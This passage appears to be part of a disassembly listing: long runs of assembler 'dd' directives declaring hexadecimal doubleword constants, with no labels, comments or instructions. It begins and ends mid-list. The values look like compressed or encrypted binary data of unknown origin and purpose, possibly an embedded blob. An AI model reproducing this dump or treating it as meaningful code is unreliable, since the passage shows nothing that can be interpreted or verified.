0C2AA2A74h, 60C57BDEh, 81BAABE4h, 0C15AB123h dd 310B2CE8h, 358658C7h, 749720E2h, 0DD17BDFDh, 57B3A4B5h dd 9F91BF3Fh, 9C562FFFh, 0E5E7CDBFh, 0FE8F50FAh, 0F32D80C3h dd 0EF25417h, 0E962FD30h, 9BFC3405h, 0E1C0C985h, 9E710DFFh dd 8852EC06h, 0F435CE72h, 262E545Ah, 342CFF4Eh, 98E37288h dd 93FF1E9h, 0A9D7BA37h, 4F47D418h, 9F8D4EBh, 5336F697h dd 1DC2DAD4h, 95F499E9h, 94092DA9h, 4C0E7106h, 0FF276068h dd 0E086E322h, 0B109F7A9h, 1158AE7Ch, 388A0B26h, 11FFD8F7h dd 1D3E85Bh, 0D7050306h, 68DED11Ah, 0D3680B40h, 60165616h dd 72232B13h, 0A913F0BFh, 39684857h, 0D1CEBF03h, 0AA05519Bh dd 64A0755Ch, 56734BC0h, 74557513h, 2F489D2Ah, 0A5095DEDh dd 0F5297Ch, 77FDE52Bh, 0E94916ECh, 0F7FC8114h, 415720D7h dd 81971954h, 4C7F612h, 0FC5947FEh, 16D4BB7Dh, 78600F0Ah dd 0B7740A7h, 418782D4h, 0A92530F7h, 0A60DD40h, 0BC011384h dd 92D19574h, 50C68389h, 6C50B44h, 41339h, 92EBE25Bh, 0E97988ABh dd 1865AB30h, 2A68D586h, 3D464134h, 3968F3B4h, 0B8060CEDh dd 2A04ED51h, 5E367465h, 4C6BB2ABh, 7DFE4B94h, 0C7A53124h dd 76EF795Ah, 43A40761h, 7574F330h, 2E2DE7C5h, 48084CFAh dd 0A3F22508h, 0A319E917h, 0BE459491h, 429BA2Ah, 1200E36Ah dd 6E8F22AAh, 0B33CB849h, 9F5178F3h, 77C7B300h, 4476F530h dd 12FAE75Ch, 36EB5260h, 4BA0EEE1h, 314A1220h, 35E9CF2Ch dd 882CDCEAh, 3B420B7h, 0D595CF22h, 0DD5B581Ch, 775B0809h dd 62200946h, 505E27C1h, 0E958CF5Ch, 91BD4A2Fh, 7822E52Fh dd 1FA8C706h, 6AC5F509h, 0CB2F6A89h, 61D4E0FBh, 274B7C02h dd 0DDF60446h, 2C41ECC2h, 1FF252EEh, 1CF40E17h, 0F2482CABh dd 1A0C5809h, 7D680157h, 8C70381Fh, 3F1D16C6h, 9ED706E3h dd 0F1042F01h, 93EB9947h, 0D81256F8h, 97A2A803h, 256664CCh dd 9CDDE9F7h, 0EEB420A9h, 0F9C28102h, 0DD0ADC72h, 0B556BC02h dd 57446054h, 0D34F8AFEh, 34FD5C05h, 0A496DDB2h, 580555DFh dd 0FD3138D6h, 841A7A83h, 0C9EDA3BBh, 445B055Ch, 0E161B934h dd 0BD81B8F7h, 4CE32FC1h, 6AD9E925h, 693A0A43h, 0E905D4D7h dd 0C0DDD4A9h, 0EC05E64Bh, 0FA98445Eh, 53BC4045h, 0AD205477h dd 376AE9CDh, 64A9EF70h, 687F2242h, 6CC5F9h, 5AD9388h dd 6BB4063Ah, 0B2A629Dh, 5EC67707h, 759F6813h, 576EC5CDh dd 85C5BF22h, 750E9ABAh, 0B90A8E60h, 60C776EAh, 6CE6EA7Fh dd 5B616F7h, 5801C23h, 75DD1012h, 2DD02801h, 18309507h dd 172447C2h, 0D9169F15h, 0B7972BF8h, 77A1D69Ah, 4EA0FD05h dd 6830ED29h, 76974C5Fh, 17F5D2A7h, 0BC807366h, 7D82D1DEh dd 394CF800h, 0BEBAC176h, 9E50505h, 1FAA5E6Fh, 0C8BEF39h dd 0FB73E7D9h, 0E96909E8h, 1720C31Fh, 7F6544EEh, 670C7B63h dd 0C02BF260h, 19ED548h, 0F221975Bh, 3E77C1E9h, 1CAF0B56h dd 40AB05C7h, 3F8FEB5Fh, 0E5DBE916h, 69AE2A92h, 571160C1h dd 0A210BF43h, 2916603Bh, 0F667A173h, 0FE9940CFh, 0D7F6C716h dd 84283D32h, 31BB8ABAh, 0A2334h, 165F2DADh, 12634155h dd 73B7E8F0h, 72028CEEh, 0C54628BFh, 0F560556Eh, 96F32D68h dd 1E84D087h, 447C8AAh, 5F55A13Eh, 0D2FE76C1h, 1C025903h dd 6856A453h, 0D4D70289h, 2583EAF6h, 0A8701FE4h, 718112Dh dd 0B3055575h, 302B390Eh, 8850B6E0h, 3AC0D85Ch, 5BF992C7h dd 17B49BEFh, 64A172E9h, 0B3B0EA62h, 0DE2D0835h, 0CE6F65Bh dd 0E5DDD7A2h, 0D2250378h, 9390DFDCh, 621699EDh, 92FC3104h dd 0C9FAE05Bh, 0E589ABC2h, 43CD6051h, 9C625038h, 0E90BC247h dd 49C4C0F2h, 4A249320h, 7A45A92Dh, 0F5886B2Ch, 0DC6DE0A5h dd 12193E57h, 67D1A193h, 0A2862505h, 307D5896h, 0FA01DB40h dd 5A1A1889h, 499B9A5Bh, 0B2DFBF83h, 9FB1D0F8h, 61E01108h dd 0B027FA04h, 0C64252A2h, 0EC545B4Fh, 74450423h, 2BC00B94h dd 9B35F8Eh, 9D27E960h, 2A0725D5h, 0B80044A3h, 428C0A95h dd 14022805h, 2CE91C2Eh, 1E25716Fh, 9C254B56h, 19F34877h dd 53200F5Fh, 0C8C9FE31h, 0F381EF60h, 287B663Bh, 855CB505h dd 0D33E626Ch, 4A66D572h, 0F6EA099h, 750C69E8h, 34C2D736h dd 0B00C4E68h, 82CEF7B9h, 747F6AD7h, 80C95817h, 0FE042FF6h dd 9EA7E9C4h, 0CA1279F2h, 1AE9F879h, 5518F2A4h, 6885D367h dd 0C9442A01h, 590B5EBCh, 0EED62904h, 0C8424B2h, 0FCDDBB1Dh dd 0F839356Bh, 203A48B5h, 0F14F5BD2h, 0CDD2E789h, 1E38D2C4h dd 0F057BD46h, 0E0397D60h, 0B549AC68h, 46461D1Ah, 98746C2Dh dd 3E296B2Bh, 1D93012Fh, 0E14489FFh, 4E9A7803h, 60BA79FEh dd 0EEB780D4h, 52B0F665h, 0F31828AFh, 69A3FD06h, 936371BCh dd 0A8415EC6h, 28C99EAAh, 6F71DC12h, 0B25FD73Eh, 0D08A865Dh dd 3A02A969h, 0BD54D224h, 5844A773h, 2867338Bh, 602C3293h dd 46665140h, 0AFB644E8h, 1C106804h, 0D2C473BCh, 0BC31FB9Ah dd 21924F52h, 0BE3D16F5h, 8AFE2684h, 6C169CCh, 5024CC1Dh dd 9571D158h, 0F88871F3h, 86E827ACh, 1E2E09D8h, 823CBF0Fh dd 30CB594Bh, 1865DC52h, 8CB8245Ah, 0F8971925h, 4B5F7AA1h dd 168ABC6h, 0C84CB530h, 23B05016h, 0B08C30F0h, 0A21A5B3Ch dd 0D0C9B255h, 58BB0914h, 1A80C82Dh, 5C387470h, 0E91754B0h dd 0C144AF5Ah, 0F0AB0CB7h, 0ED91CC9Bh, 4DC00769h, 0E8715109h dd 52C993FCh, 0DF4AE9AFh, 8D93D44Ch, 334C1EF2h, 73C09D6Ch dd 0BFB1522Eh, 2DBC508Dh, 550025BEh, 35D0F748h, 0FD61B73Fh dd 0A801BF24h, 9C15E9DEh, 9D551D75h, 0CC6E581h, 2D0981DFh dd 0FE7024CFh, 307999BFh, 421FF626h, 0FDC25259h, 60154936h dd 8128F1D4h, 4F7AFB58h, 49BB8331h, 312F0654h, 36D5AE21h dd 75E804CFh dd 70FC0BA8h, 0CFE68107h, 0A8622631h, 8CF2F924h, 2B8F046Fh dd 6DBD0113h, 3066B130h, 0B93D95CBh, 590582ABh, 85313B19h dd 7032DD8h, 0C8330E9h, 335E5F3Ah, 0B441BC4Fh, 0ACDCAC61h dd 54E6B5EEh, 0C4BD552Dh, 6BC84590h, 68100CCAh, 6EC5E96h dd 1E84D1C9h, 4C24A3A2h, 0BA2D1214h, 0D20888EEh, 0F17E9441h dd 9548DCACh, 56C65EB6h, 0E4FE9D97h, 0CC309CFh, 160D1F20h dd 0EBBA2206h, 2D051200h, 5A4973C6h, 2D60A27Fh, 842AD604h dd 43ED156h, 0F295FBE9h, 137EA2AAh, 9ED03A03h, 1FCC65F4h dd 49DEF71Fh, 667A3473h, 8B75645Ch, 0BD3C56EDh, 0A4393696h dd 1F09CF43h, 80617D58h, 1565F2BAh, 0CBE9132Ah, 0D37BB87h dd 9B59EA97h, 0A7827B4h, 0A1807E94h, 77C149D2h, 8E5B06C7h dd 6DCA57FEh, 0A40C080Ch, 237B0D18h, 144A0F2h, 0D7294977h dd 625EF5E9h, 95FAD3BEh, 79881D4h, 0B4F76AD8h, 660CBD04h dd 0F580FFD7h, 0BA65E29h, 195CE938h, 0F75A367Eh, 72FD2DC2h dd 0E0ADF8A7h, 9B2C74D0h, 9511257h, 0B5A3ECCEh, 0DC035BD8h dd 16F91973h, 810B401h, 9933E93Dh, 3A1A5A2Ch, 0D56F8422h dd 55A5F1C5h, 1A0CF3C5h, 3E7B1D3h, 630F6855h, 5A2D1557h dd 9DB6F11h, 9507BE9h, 0B1747B7h, 665D9468h, 0AA3B4D59h dd 0E9A6BC78h, 0ED7F6EABh, 0C7680B42h, 0FCE90B60h, 0DD5BA751h dd 0B6C22E62h, 0E9FBFFFFh, 8809382Ch, 3C30750Fh, 4BAA6B1Ah dd 57D20975h, 71CB1471h, 2C600D2h, 21A71039h, 0FA49F17Dh dd 3CBA48F1h, 0F49213DCh, 0CD3680AEh, 0DD2F4AAEh, 0A8D45678h dd 304B61DEh, 0E102C780h, 18F17843h, 0E7A6B450h, 0F8281758h dd 5A999266h, 0A092845Ch, 2E707D2h, 0BED1B240h, 476C5FCBh dd 27940E5Ah, 0CA5DA983h, 47750E0h, 9D70C4BFh, 1681FFD2h dd 467282B6h, 20AE49C5h, 674C1280h, 0F6755676h, 0C54A3717h dd 6EE963C1h, 0EA40C56Ah, 0A96ED9CDh, 8801107Ah, 0A0E18101h dd 0DB6AD27Bh, 981E180Eh, 0CBCCA573h, 403C20F4h, 0D49D0997h dd 0E7330041h, 0DF3118B5h, 32E0A1D7h, 51494046h, 30BCB101h dd 0D3F659CBh, 0B29B8520h, 0EA5C9D89h, 84C1838Ch, 36A70BF1h dd 0FFFC2FCAh, 660B9713h, 0A148DF90h, 4F1EEE2Dh, 0E80A5039h dd 843A0705h, 7DB20F09h, 2D276BCh, 434E68BFh, 2E88D551h dd 0AFDF2D93h, 0AE284516h, 7E85D9ABh, 0E982AAB2h, 3BD5B2DEh dd 2975D97Dh, 0AA6C3392h, 0D7FFC534h, 3F198D80h, 0F60190F5h dd 0FE045E17h, 5B42F7D7h, 785862D2h, 0A5ED4E06h, 1A7420F5h dd 5697E792h, 0CB30CAD1h, 1A0B8D5Fh, 0C5EA77D2h, 0CB5669F5h dd 0B93E2BFDh, 4213250Ch, 4A7959D7h, 27F9A710h, 1571DF88h dd 872C0A53h, 670A590h, 0C328791Dh, 0D18994h, 74DF735h dd 2CC1291Ch, 967E54E9h, 0A32DAB5Bh, 12EF8E3Ah, 0FCC878EAh dd 9E681D66h, 71D12E5Dh, 6C17010Ch, 0D9F75E00h, 0DA094D90h dd 75623D55h, 0A8E03C22h, 0FE5260F4h, 7C68C1C4h, 0DBF5C277h dd 0F0C2AF8Ch, 0EB385B57h, 21774F40h, 750B0525h, 68F26103h dd 2DA36DB2h, 0E0D15150h, 59EBC706h, 0B807B67Ah, 0F6146B5h dd 79089EAAh, 78C928C2h, 3B552735h, 0FD89F47Ch, 873C5C5Dh dd 0A4D2F708h, 3B1EA1CDh, 0CBBBD3F0h, 4558FD8Ah, 8870C59Dh dd 0C0004008h, 0C98002E1h, 3D06CC1Fh, 40BF0512h, 246CF174h dd 26E1CF20h, 967C3DCDh, 47E48926h, 5A5130DCh, 92A6BD6Bh dd 1ADBF045h, 4F038FAAh, 0F810E18Bh, 8A5E2FC9h, 0E00337C2h dd 0F9B353CDh, 0B4292FAAh, 90C30317h, 0AD584180h, 595CD89Fh dd 0D2C43191h, 2335BF4Ah, 0C46AE3C1h, 0A1B3A83Ah, 0EB80A8A5h dd 13D0BD55h, 24C12C49h, 6F6D0794h, 0B199CD70h, 28F2071Fh dd 0A38F5BF7h, 8274E6ABh, 5814FD2Fh, 9B4D0901h, 4576E92Ch dd 99E7B2Ch, 982F8F6Bh, 0F6EC4C4h, 1C49C968h, 540EFA5Fh dd 4FBB6946h, 0E97D0B62h, 594A720Ch, 0A3364F5Fh, 17D30B0Ch dd 4CDD201Ah, 0CFE92422h, 0AC688F3Ah, 8A441686h, 7413869h dd 1E849EE8h, 0AFD116EBh, 453AEA29h, 201BEB4Ch, 88511E8Ch dd 392DFD7Bh, 0E35A7915h, 6452BB65h, 204B58F4h, 0D80112FCh dd 0BD50EF2Dh, 4C0211F8h, 0F66CC228h, 0E5059D84h, 2999C159h dd 0C4A33866h, 41128D44h, 107F08D0h, 7429C476h, 481FF4BDh dd 514200Ch, 35DB0E59h, 0BD53EA5Eh, 5B34BFh, 346ACC13h dd 27A60133h, 96F50C82h, 0C7A12078h, 0F0C572BFh, 6A0B2E36h dd 47C56292h, 1F735027h, 0EAC32DEFh, 2D75A980h, 0E32740A2h dd 8031F871h, 3525A07h, 4B3AB4BAh, 340A4A69h, 0A39AEEC6h dd 28E7C27h, 30421AEFh, 44E56052h, 6BE0B08h, 0FCDF9C55h dd 7F8B95FEh, 0D5EB8379h, 0C24C1D66h, 0D008446Dh, 9DA3E910h dd 0DFF7470Eh, 0CAE78160h, 464E7C5Fh, 631017F9h, 0C821273Eh dd 166D901Ah, 0EE0123DAh, 0F4FF84D4h, 0D2EEC85Bh, 0BDD1CF5Ah dd 0C6139E29h, 89EC9881h, 0DF15C456h, 0A77D74B2h, 0BCF7CACCh dd 0A8451218h, 0EC587CBh, 56408E60h, 50F1268h, 1201FEA6h dd 0DB64E2E6h, 0CE30C221h, 557E13CFh, 761EA439h, 0D0B7F4ECh dd 0BCE175Fh, 0E10F00C8h, 34263B29h, 2B485BF6h, 0B409DE88h dd 0C8C47DF4h, 68504DBCh, 0D8764E8Dh, 29108A0Bh, 88342E98h dd 11FEA0Dh, 0A6AB742Dh, 2B542F37h, 0FBA20989h, 52BA653Ch dd 88AEB08h, 14BCF040h, 0E87C564Dh, 14325A2Ch, 5F250A2Dh dd 1297475Fh, 30B6A1A1h, 0C1E6F933h, 0B7530109h, 9A9B809Bh dd 0C9B3C3E9h, 795DA4E9h, 340D8544h, 0F5BC00ECh, 1CB34AA0h dd 7BD7D9A1h, 6F85B0A9h, 0D141EEF9h, 679B6DCCh, 6E97C13Ah dd 0C28105C5h, 233FB4A8h, 73FA555Fh, 6F5E5449h, 0DCC647ACh dd 0EB2CB78Ch, 9D104C7Ch, 60210D00h, 0E40575F2h, 70AF671Fh dd 2D7326C8h, 2971EDEh, 5100E0CAh, 0C0E8B652h, 0E6E607EEh dd 0F327D998h, 6961F6A6h, 4E34F5DBh, 21FEBD01h, 0FA601127h dd 0D4CA0481h, 8003911Eh, 2C500CF1h, 0DEE9361Eh, 2023E4EFh dd 0BB090AC8h, 7DA20D72h, 0F38780C0h, 8D6F730h, 91D04FE9h dd 0E8C2A703h, 0CCDCD3D7h, 4E00DDA4h, 3BBD1843h, 975199B2h dd 14D02009h, 706A480Bh, 0D044D712h, 3F2E05A1h, 6939CF8Ch dd 0C07D1ABDh, 3E3F7961h, 30924563h, 0ABF1241Fh, 281244E8h dd 66C61D32h, 0EA73C4F1h, 1BE08CCDh, 4E6495CDh, 96F2D1Dh dd 4A1FB853h, 13CA5FC8h, 60E3E354h, 1D39A0B2h, 0C6648069h dd 7E96E235h, 4A08A7A4h, 0CC55F987h, 807252D5h, 682FF9F7h dd 8BE4DC44h, 3768534Bh, 30B521DCh, 4181E9C0h, 5639FC09h dd 5A62CC9Ch, 0B3A50FEEh, 12D1A35Bh, 818C868Ah, 0BF7D407Ch dd 0F2939501h, 5FFE29A8h, 9D9A7930h, 385D99B0h, 27D2939Fh dd 47036C24h, 0DC80D7BBh, 0E300810Bh, 35FB1D8Ch, 9F95FDE9h dd 91A00DC5h, 683005E4h, 2FF70C3Bh, 695D5975h, 0D008E928h dd 0AF4B140Ch, 77024F4Ch, 13B53C51h, 0E46F8D12h, 82F6F5D1h dd 2F8F0D3Eh, 271AF001h, 5856C330h, 8A0602CBh, 2F045203h dd 0A4EA62Ch, 655BC2F6h, 94591D8Ch, 80943261h, 40E4325Dh dd 80C7AD04h, 305C8868h, 9313DEBCh, 208688B9h, 565840B5h dd 7BB40272h, 0F22937D2h, 87BEFEh, 0B2B109Ah, 4B548E9h dd 0D0BC5AFEh, 0F5362879h, 631A20C1h, 22F2BA07h, 50E24658h dd 0D680E98Bh, 0E47FA82Fh, 3B6A3DFEh, 8CD7D0F2h, 0F42A6850h dd 749D9041h, 0CDF9259Bh, 810275A5h, 0EED5456Bh, 62EFB06Ah dd 77FA33D3h, 1B25985Dh dd 1A619355h, 0F205F3A2h, 0E09BBCCAh, 7EFFC380h, 758675D0h dd 0CE08DEF6h, 0D3EE37F3h, 28F445BFh, 35B5EAD8h, 90D3FC7Ah dd 0CCE9836Ch, 292212B9h, 0B50413F9h, 0F9F4DB37h, 0FE5F2D43h dd 692DC22Dh, 0CC382057h, 4C45D670h, 0A4138A01h, 3831BA1Dh dd 7406356Ch, 0FC3A8804h, 0A1A829B9h, 767E4E10h, 0C5DCC8A0h dd 31768C17h, 0AECD1CEFh, 0F2E904CAh, 594FFEEBh, 0BB6844D1h dd 0FC4FC9B8h, 0E4F5F3h, 0C0D45AE9h, 381EBB94h, 5F9545F8h dd 0E3DC1E3Ch, 796EDFDDh, 0AAC05BE5h, 4CD7614Ah, 0D520972Bh dd 0DF35584Bh, 8480F2EBh, 0D9C2C588h, 4194F7A4h, 981C3F20h dd 88FB2D9Ch, 0EB80DF51h, 24FF5D2Bh, 0DDE3F301h, 63010816h dd 727E4A32h, 0C5C6D26Fh, 570217C4h, 337920BFh, 6041FD73h dd 7AEE60DFh, 0B6B1513h, 0CE1803B0h, 7BCC6887h, 0A5D3C38Fh dd 80B5B702h, 8838E0EEh, 0D7F63AF7h, 24BFAC4Fh, 0F110E5D6h dd 311AAC3Bh, 0E256409Bh, 6FBC7E31h, 0C43F2EC5h, 0FDB5C221h dd 2EA862E1h, 0DE0052B2h, 53340375h, 0CABF82E9h, 0FA227D74h dd 2C8571Fh, 221E9F05h, 84D67A16h, 3FBA8340h, 4B31C062h dd 34C2AB42h, 0B7CFF8E6h, 83A07BC5h, 5F57523Fh, 97255904h dd 12F70BDh, 0F380BC5Eh, 0B6DCE62h, 0C7DE4C89h, 0E5FBD05Eh dd 16262C3Dh, 3802B52Dh, 4AC4C161h, 0ACBAD7FAh, 0CD7A05FFh dd 0D933E2BAh, 50031E7Ch, 2B949AB1h, 9E8AAEE8h, 9672A8E3h dd 34B860FEh, 4401E20Ah, 1D572B35h, 8E20402Dh, 831CBE8Ah dd 5CB04BEDh, 0CABB8C4Ah, 0C83284F0h, 59B2FBh, 64EC431Dh dd 13E8C148h, 5485E907h, 0F31D7DE7h, 787BCADBh, 6081997h dd 1EB2F307h, 0D90C7964h, 936C0AE9h, 84D09C2h, 65FD5EE7h dd 0B8562716h, 5B37C9A5h, 957FDF77h, 87127E65h, 58D398AEh dd 5A215495h, 0F3081C40h, 0B8EB7882h, 0EDC2B508h, 0ACBC04D1h dd 0E4172BD3h, 276A8BABh, 0D0005EEAh, 65C9FCE9h, 1BA875Ah dd 0DDC77892h, 0D5F60414h, 4783A95h, 0F8958EF7h, 58AA81AFh dd 36182D40h, 28E8324h, 2B747846h, 0CA61FA01h, 0B5696B9Fh dd 20253932h, 0B6F0ED6h, 97FF70D5h, 42A84DF3h, 1504C84Dh dd 782D3F18h, 21229502h, 75455D55h, 0FCED04A0h, 9006914Ah dd 0A68EE951h, 1F3B053Dh, 0A05F4B88h, 261273A7h, 0CC0B6A87h dd 1C9572DFh, 0ACD050C5h, 7D4B01E6h, 6A3142F2h, 0EACE681Fh dd 0E6B36h, 0CC75E316h, 7B00B7D9h, 355FF821h, 9D64FF01h dd 3C22056Eh, 0C429F0C8h, 80D70120h, 0C1621C82h, 4D992FE7h dd 0D7E4B23Fh, 17A8D1AEh, 0D929017Ch, 9F5ECA20h, 160505F1h dd 0A0046F1Ah, 0B7AFA31Eh, 285804D2h, 40EF4D64h, 6214F330h dd 8BB84815h, 41174544h, 0AAF90211h, 2EE5F049h, 168F4533h dd 917BD21Eh, 2A04EBE0h, 13801A7h, 0E97DC004h, 5DC6A0DDh dd 13A05995h, 8277C585h, 40D5F80Fh, 17E320B6h, 47CBFE58h dd 0A33DF30Ch, 0C4B15BDCh, 0E6F4E4CAh, 0A51ECCF8h, 56F0B4E9h dd 74840566h, 4A7FE42Dh, 0F857CD53h, 427E2EB9h, 0F178F897h dd 7E70807Ch, 77681F53h, 525B8F27h, 4C4BAA5h, 0EBBEB085h dd 0F32D8FDEh, 585B6170h, 0EA92B3A2h, 0EE10A4B6h, 0ED465AB2h dd 0ED10CE21h, 13379C20h, 0C14C1063h, 2886A9Ch, 0E286E009h dd 0C77DC013h, 57DB22AAh, 0B9508FBCh, 0C81F1253h, 503FB22Fh dd 0FF717EA0h, 25F445BFh, 6CDD6EE0h, 2FC74EB7h, 0F1EBA923h dd 0C216DC0h, 509039B2h, 0E753716Dh, 0E550B86Fh, 60F547E0h dd 0B8C2BB9Dh, 7258256Ah, 2F0903ABh, 0B6291E99h, 4008831Ch dd 4E8B141Ch, 5F70982Ch, 0E962AB99h, 0CDCC7710h, 0B6172209h dd 2FD0054h, 975726E9h, 0D3C58223h, 423716F9h, 20DFBFEFh dd 0CA771DE2h, 6922C174h, 3626254Eh, 0FD0118B7h, 13163128h dd 45F1BAAh, 1E08C523h, 999697E6h, 0DFFF2B84h, 35B65BC6h dd 0B8DCF10h, 7E3DA768h, 13D5EBD2h, 0E309B8DEh, 81C8D66Fh dd 3BDAEAB6h, 5680EBBDh, 2C1CF768h, 34F2E4Ch, 4F77AACEh dd 0E0DEDA33h, 2F095F72h, 87F04E39h, 8747EF39h, 0FE31C522h dd 25F589E3h, 75ED38h, 0E9DD01BBh, 0D37A4938h, 0AEDCF63Eh dd 0C948F339h, 81B3A95Eh, 0E7200CECh, 7CA89C6Fh, 1E2FD2BCh dd 0F0E918AEh, 1CF163DDh, 3C1EC1E6h, 753FF928h, 286CABB1h dd 51683F7Ch, 0B0C539DCh, 8485BB1Eh, 0A3BA34EAh, 0F462509Ch dd 0FD83C86Bh, 0E5F575CAh, 80E989DBh, 41B8B3A7h, 71522D26h dd 3283F09Ch, 54D8DBA8h, 0B2F9C3C4h, 56860814h, 0C16FABABh dd 0FDA033D8h, 0BD6BE163h, 699E848Bh, 7BBC2CEBh, 0FE098B9Eh dd 4AC14CC1h, 4E0DAC74h, 1C96EC5Ch, 0C0D164AEh, 6A07AE05h dd 0C6319D04h, 17B88958h, 86F4432Eh, 51622768h, 3B85D220h dd 4FAEFE87h, 0A5CF4088h, 0D8BDB50Fh, 544E86h, 46A6BB8Dh dd 6817296Dh, 81CC58DCh, 4F84FADBh, 3190A172h, 0E0D16A32h dd 0FACD0Ah, 6C250567h, 0C25BA390h, 1FCFBD0h, 32167BBEh dd 0E15588D3h, 8D17D982h, 0D8285C01h, 7464D930h, 0B2A0A960h dd 97C93D30h, 0E982E98Eh, 0EE74E542h, 12184A63h, 0A75D5440h dd 76E982F3h, 0EFDAF5E0h, 0AABC5860h, 8066A123h, 9C2E4402h dd 4B9ED11Dh, 6C2C70BAh, 4813CC2Dh, 8E7F73F1h, 30E55FA6h dd 0B40CF83Eh, 0C6B8200h, 5811A51h, 0C07105E5h, 5CF08228h dd 9477D092h, 6A502D8Ah, 333E78A2h, 48AD19D1h, 0BA599Fh dd 87AB199Fh, 295BDA31h, 53385E95h, 305FD6DAh, 0F6B3EF6Ah dd 0A411483Dh, 7981BD4Ah, 72E9F70Bh, 0A08B5EBEh, 746638A3h dd 0AF595592h, 0ED97F8F2h, 0A9E24B04h, 42BCCFC4h, 61535DEAh dd 3CF89656h, 0EFC12E23h, 0C6F71EE3h, 0C264A5Ch, 0DA0C37A1h dd 10DC8262h, 0C99F442h, 65124840h, 85001CD6h, 6FA40C42h dd 0FC77042Dh, 81210A31h, 81F819E5h, 72B8EB95h, 0B56B5471h dd 991E9011h, 0A8087E50h, 0FA61B3ADh, 9F5CBA82h, 2926AD06h dd 972D8898h, 0B1FEE016h, 0E468809Bh, 0E9D64C55h, 83A30752h dd 0D3152D58h, 2CE69A8Fh, 0F89C0A77h, 4EEFE978h, 0D545EB90h dd 0E0F29552h, 68098D90h, 1A5909E1h, 7E31D581h, 0A6804302h dd 25FB3EEAh, 5B505F53h, 7003BFF3h, 4EE92879h, 9DFB85BDh dd 0BA68540Ah, 5CECCFFCh, 0A4B4B3B8h, 0D0F79506h, 2D299806h dd 7746999Dh, 0B81AA74Ah, 0DACCD410h, 39943248h, 0AF427924h dd 0AD81605Ah, 81355F49h, 1D44863h, 4BCA5D66h, 0C150B3EAh dd 0F6303AB8h, 0FEC34F21h, 0B8F7C529h, 0FF1705EBh, 10860921h dd 4812A3C3h, 26BED895h, 8EF2A09Fh, 0F2614FEAh, 0F7D12053h dd 0A3DCB5C2h, 0E0FCAECEh, 805966CFh, 970FB0F7h, 0DD282851h dd 7CBE30C0h, 0B045F030h, 19A809DFh, 17FE7378h, 6AE6AE39h dd 4CB94712h, 2DD7F34Ah, 565C61EDh, 9CDFB4D8h, 0D95A44D1h dd 0E7E86B38h, 0F12DEAF4h, 0CD9A27Ah, 0EFBEA2E9h, 0F2A173E1h dd 8ED19788h, 0FA542CC3h, 25257EC7h, 0BDF29EFDh, 443DC460h dd 5EC26880h, 388BF535h, 5C312763h, 0EE68E2E7h, 406BFA56h dd 14917B2h, 0EBBF65DDh, 6BDC3404h, 0B7BAEC80h, 2CF1161Dh dd 0BE8D8531h, 9A7F7138h, 0B85E9F04h, 7C96FD52h, 0F69B4120h dd 34FB0FE2h, 0AA653D82h, 78CA4BFh, 5C31205Fh, 0AE064BF3h dd 494CEE12h, 20B201FBh, 2A17E744h, 984D6AB0h, 60EC989Dh dd 0A8B12AD5h, 2905D855h, 7DB0E9F5h, 0A2AEA935h, 3C584820h dd 2BFF5087h, 8182B74Ch, 192810CCh, 581F074h, 0A06172EEh dd 51609125h, 0D8E82B54h dd 0ED9707A6h, 51490CFh, 72F97B5Bh, 4F587BB0h, 4F28FEBCh dd 0FB747CC0h, 0DF8AFD6Bh, 7F9CAD89h, 54B7D414h, 3DA29A1Ch dd 6A7D3242h, 0D0E9406Fh, 3F2C0212h, 13E95157h, 512D2D6h dd 5B2F57ADh, 0FC5A2856h, 0CC7F526Ch, 51749FE2h, 524CDDC9h dd 2D745B2Eh, 5EDFBB60h, 9813B85Dh, 0E29B4170h, 1AA5CA51h dd 68D65765h, 6510DEA4h, 4FE6BE1Fh, 8F454557h, 21D9AE27h dd 0CB9F0878h, 0D7C7651h, 945FE550h, 0CB2E329h, 0C24EAFE9h dd 0F2DCD45Dh, 9C105955h, 2048A743h, 8B3045A0h, 51190C75h dd 3E7441DFh, 0BC046994h, 5B09AE7Bh, 0BC938285h, 2D089400h dd 0B85980A5h, 681B6760h, 80F85E53h, 37B95156h, 6C483F0Ch dd 0F0825B04h, 9D9DDA2Dh, 5603ED6h, 4B4072D1h, 0F917A106h dd 50A667Bh, 79C10418h, 0E94F88AAh, 98C90A24h, 43BB5360h dd 140C0B2Dh, 561E3C1h, 5EAB4270h, 0C095FBCBh, 0D54AEE8h dd 0DD31A905h, 57E14D5Bh, 0F92BEFFh, 0B415B98Ah, 3016BAF7h dd 2968A438h, 505CA8h, 56596E62h, 0BE0ACF81h, 0A77B9328h dd 75703701h, 93A5733h, 0A65F5FABh, 9200896h, 0ABA1914Ah dd 0C09934F0h, 0FD7C3A6Fh, 453806CAh, 874EE6E9h, 505137D2h dd 2D4000B8h, 0A38B5E6Fh, 0F595C501h, 0D2F61220h, 2216B551h dd 561CEA28h, 0D08876C1h, 0FD6C97E9h, 5170A44Eh, 83F7009h dd 3AE6575Bh, 2D84834Dh, 25469E5Dh, 21D91CE9h, 65D82989h dd 97D29F3h, 9ED5303Fh, 49B8209Eh, 1A302EA0h, 4CCAB980h dd 8A5AF00Fh, 0BD604A2Ch, 4A5F4C57h, 807A341Eh, 952854CBh dd 0EF091529h, 0F10382E2h, 5C12BA75h, 0B271461Ah, 0E80B295Dh dd 0C27F0459h, 385B406Ch, 5AF02877h, 0D3569C0h, 0F82425FDh dd 0F417CE53h, 2F10B6BCh, 0CFFE03AEh, 31FBC780h, 4F142D26h dd 0E518DC47h, 71965795h, 52DCB80Bh, 115743Ch, 290317CEh dd 49AC3E21h, 0C002F4Ch, 0E9D6FFEDh, 48CB7269h, 490177BBh dd 735C293Bh, 0D2E917FFh, 0F86F29B5h, 58760402h, 0B1EA2DDEh dd 82080436h, 517FFBF8h, 0C4F56B50h, 0A14A5B79h, 4DA32B25h dd 9D6A257Bh, 0CBC24554h, 0CCA6E984h, 0BDAB057Eh, 8417E879h dd 0D9FB7D4Fh, 2BEE3033h, 0C0B70E27h, 252EF0E5h, 54A8399Fh dd 0C3408h, 0E9555914h, 94C0CB40h, 0C1805866h, 0E870E1D8h dd 0C111601Eh, 3C875BDFh, 160618B5h, 2F3D7806h, 0B74815E9h dd 0D1836C1Bh, 1A64F49Dh, 5FE19039h, 4AFBE931h, 50E5CEAFh dd 49C7A7C7h, 3364360Dh, 0DE005199h, 509A6CAFh, 0E59BD0Ch dd 4E2CE94Fh, 7562F6EEh, 0E9753180h, 21C57355h, 37CFA03Eh dd 562FD2BCh, 80A6CAD5h, 9A06851h, 0E9134C6Bh, 79BC4312h dd 46EF01A1h, 0D6971CD2h, 66DF7289h, 69830998h, 95F242B6h dd 46BDF09h, 572F0B16h, 0C05769Ah, 42B1AD5Bh, 